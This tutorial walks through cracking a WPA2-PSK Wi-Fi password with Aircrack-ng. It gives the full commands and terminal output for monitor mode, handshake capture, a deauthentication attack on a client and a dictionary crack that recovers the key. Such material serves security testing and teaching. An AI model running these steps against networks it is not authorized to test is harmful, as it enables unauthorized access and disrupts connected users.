Wpa2 psk crack using Aircrack-ng

INTRODUCTION

- Aircrack-ng is a complete suite of tools to assess WiFi network security.
- Aircrack-ng is a network software suite consisting of a detector, packet sniffer, WEP and WPA/WPA2-PSK cracker and analysis tool for 802.11 wireless LANs.
- It works with any wireless network interface controller whose driver supports raw monitoring mode and can sniff 802.11a, 802.11b and 802.11g traffic.
- Aircrack-ng is developed by Thomas d'Otreppe de Bouvette.

It focuses on different areas of WiFi security:

- **Monitoring:** Packet capture and export of data to text files for further processing by third party tools.
- **Attacking:** Replay attacks, de-authentication, fake access points and others via packet injection.
- **Testing:** Checking WiFi cards and driver capabilities (capture and injection).
- **Cracking:** WEP and WPA PSK (WPA 1 and 2).

Equipment used

In this tutorial, here is what was used:

- MAC address of the wireless client using WPA2: 9C:65:B0:AD:36:26
- BSSID (MAC address of access point): 00:17:7C:66:B0:79
- ESSID (Wireless network name): jdshah
- Access point channel: 6
- Wireless interface: wlan0

How to Obtain Wifi Password, Step By Step:

Step-1: Start the wireless interface in monitor mode on the specific AP channel

- Airmon-ng script can be used to enable monitor mode on wireless interfaces. It may also be used to go back from monitor mode to managed mode.
- Entering the airmon-ng command without parameters will show the interfaces status.
- Usage:

airmon-ng <start|stop|check> <interface> [channel or frequency]

```
root@kali: ~
File  Edit  View  Search  Terminal  Help
root@kali:~# airmon-ng

PHY     Interface       Driver          Chipset

phy0    wlan0mon        rtl8723be       Realtek Semiconductor Co., Ltd. RTL8723BE PCIe Wireless Network Adapter

root@kali:~# airmon-ng start wlan0

Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

  PID Name
  538 NetworkManager
  615 wpa_supplicant

PHY     Interface       Driver          Chipset

phy0    wlan0mon        rtl8723be       Realtek Semiconductor Co., Ltd. RTL8723BE PCIe Wireless Network Adapter
```

Step-2:Start airodump-ng on AP channel with filter for bssid to collect authentication handshake

- Airodump-ng is used for packet capturing of raw 802.11 frames and is particularly suitable for collecting WEP IVs (Initialization Vector) for the intent of using them with aircrack-ng.
- Additionally, airodump-ng writes out several files containing the details of all access points and clients seen.

- Usage:

airodump-ng <options> <interface>[,<interface>,...]

```
root@kali:~/Desktop# airodump-ng wlan0mon --bssid 00:17:7C:66:B0:79 --channel 6 --write jdshahCrack
```

```
                                                    root@kali: ~/Desktop
File  Edit  View  Search  Terminal  Help

 CH  6 ][ Elapsed: 3 mins ][ 2018-09-18 16:18 ][ WPA handshake: 00:17:7C:66:B0:79

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:17:7C:66:B0:79  -65  96     1741     1584    0   6  54e  WPA2 CCMP   PSK  jdshah

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:17:7C:66:B0:79  9C:65:B0:AD:36:26  -74    1e- 1e     0     1631
```

Step-3: Use aireplay-ng to deauthenticate the wireless client

- Aireplay-ng is used to inject frames.
- The primary function is to generate traffic for the later use in aircrack-ng for cracking the WEP and WPA-PSK keys.
- There are different attacks which can cause deauthentications for the purpose of capturing WPA handshake data, fake authentications, Interactive packet replay, hand-crafted ARP request injection and ARP-request reinjection.

```
                                                    root@kali: ~/Desktop
File  Edit  View  Search  Terminal  Help
root@kali:~/Desktop# aireplay-ng -0 1 -a 00:17:7C:66:B0:79 -c 9C:65:B0:AD:36:26 wlan0mon
16:16:42  Waiting for beacon frame (BSSID: 00:17:7C:66:B0:79) on channel 6
16:16:42  Sending 64 directed DeAuth. STMAC: [9C:65:B0:AD:36:26] [ 0| 0 ACKs]
root@kali:~/Desktop#
```

Step-4: Run aircrack-ng to crack the pre-shared key using the authentication handshake

- Aircrack-ng is an 802.11 WEP and WPA/WPA2-PSK key cracking program.
- Aircrack-ng can recover the WEP key once enough encrypted packets have been captured with airodump-ng.
- It uses a password list to obtain the wifi password.
- Usage:

aircrack-ng [options] <capture file(s)>

```
root@kali: ~/Desktop
File  Edit  View  Search  Terminal  Help
root@kali:~/Desktop# aircrack-ng -w password.lst -b 00:17:7C:66:B0:79 jdshahCrack*.cap
Opening jdshahCrack-01.cap
Reading packets, please wait...

                                 Aircrack-ng 1.2 rc4

      [00:00:00] 64/235 keys tested (1430.17 k/s)

      Time left: 0 seconds                                      27.23%

                          KEY FOUND! [ shah6973 ]


      Master Key     : 96 23 56 8D E5 F9 A8 7D FF DB 22 CA 34 E1 30 90
                       0E E2 8E BA 04 91 70 27 2A 0F 7E A5 20 4E 8C 51

      Transient Key  : 51 53 E2 46 A8 A8 BC 5D 02 BB 3D 99 0E BE 75 CF
                       ED 6A 28 A9 BA BC 93 09 D1 08 58 09 7F 43 2E E8
                       DD 28 EE 71 47 EE 53 64 44 76 1E FE 7A 97 1D 62
                       94 6E 83 3B AD E1 20 6E 8D 18 2B C5 98 C2 A3 8F

      EAPOL HMAC     : AA 96 34 AF D4 9C A8 45 C9 E8 BB D0 70 2F 88 B9
root@kali:~/Desktop#
```